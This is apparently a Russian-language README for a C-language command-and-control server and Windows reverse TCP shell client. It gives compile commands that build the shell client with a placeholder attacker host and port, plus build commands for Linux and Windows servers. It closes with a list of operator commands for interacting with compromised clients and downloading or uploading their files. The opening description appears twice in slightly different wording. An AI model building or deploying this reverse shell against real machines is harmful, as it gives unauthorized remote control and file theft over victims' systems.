
Многопоточный, многоплатформенный (Linux/Windows) C2-сервер и клиент обратной TCP-оболочки для Windows, оба написаны на C.
Многопоточный, мульти-ОС/платформа (Linux/Windows) c2 сервер и Windows reverse TCP shell клиент, оба написаны на C.
Компиляция reverse TCP shell клиента с i686-w64-mingw32-gcc:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Компиляция reverse TCP shell с cl.exe в командной строке разработчика:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
Компиляция Linux сервера с GCC:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Компиляция Windows сервера с cl.exe в командной строке разработчика:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
Список команд:
list: перечислить доступные соединения.
interact [id]: взаимодействовать с клиентом.
download [filename]: скачать файл из файловой системы клиента на сервер.
upload [filename]: загрузить файл с сервера в файловую систему клиента.
background: отправить клиента в фон.
exit: завершить клиент или хост.
cd [dir]: сменить директорию на клиенте или хосте.